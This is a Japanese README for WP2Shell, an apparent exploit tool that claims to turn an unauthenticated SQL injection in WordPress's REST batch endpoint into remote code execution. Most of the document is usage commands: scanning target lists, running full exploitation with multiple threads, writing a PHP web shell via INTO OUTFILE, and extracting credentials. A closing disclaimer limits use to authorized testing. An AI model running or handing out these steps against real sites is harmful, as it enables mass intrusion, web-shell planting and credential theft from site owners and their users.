
WP2Shell - CVE-2026-63030 / CVE-2026-60137 このツールは、WordPress REST APIのエンドポイント `/wp-json/batch/v1` における重大なSQLインジェクション脆弱性を悪用し、認証されていない攻撃者が任意のSQLクエリを実行し、脆弱なWordPressインストール上でリモートコード実行(RCE)を達成することを可能にします。
WordPress REST API バッチエンドポイントの脆弱性を完全に発見・悪用するツール。
このツールは、WordPress REST APIの/wp-json/batch/v1エンドポイントにおける重大なSQLインジェクションの脆弱性を悪用し、認証されていない攻撃者が任意のSQLクエリを実行し、脆弱なWordPressインストール上でリモートコード実行(RCE)を達成することを可能にします。
脆弱性: CVE-2026-63030 / CVE-2026-60137
ベクター: WordPress REST API バッチエンドポイント (/wp-json/batch/v1) SQLインジェクション
影響: 認証されていないRCE
影響を受けるバージョン: WordPress 6.4.x およびそれ以前 (特定のバージョンは未定)
SLEEP()ペイロードを使用した時間ベースのブラインドSQLインジェクション検出ORDER BYプロービングを介してテーブル構造を特定INTO OUTFILEを介してPHPウェブシェルを書き込み(許可されている場合)# Clone the repository
git clone https://github.com/NULL200OK/wp2shell.git
cd wp2shell
# Install dependencies
pip install requests beautifulsoup4
# Create targets file
echo "https://target.com" > targets.txt
# Run discovery
python wp2shell.py targets.txt --scan --verbose
# Full exploitation
python wp2shell.py targets.txt --exploit --verbose
# Scan single target with verbose output
python wp2shell.py targets.txt --exploit --verbose
# Custom sleep time for slow servers
python wp2shell.py targets.txt --exploit --sleep 20 --verbose
# Multi-threaded scanning (20 threads)
python wp2shell.py targets.txt --exploit --threads 20 --verbose
# Skip shell writes (extract credentials only)
python wp2shell.py targets.txt --exploit --no-shell --verbose
# Force specific HTTP method
python wp2shell.py targets.txt --exploit --method POST --verbose
このツールは教育目的および許可されたテスト目的のみに使用されます。 自分が所有しているか、明示的なテスト許可があるシステムでのみ使用してください。 作者は誤用に対する一切の責任を負いません。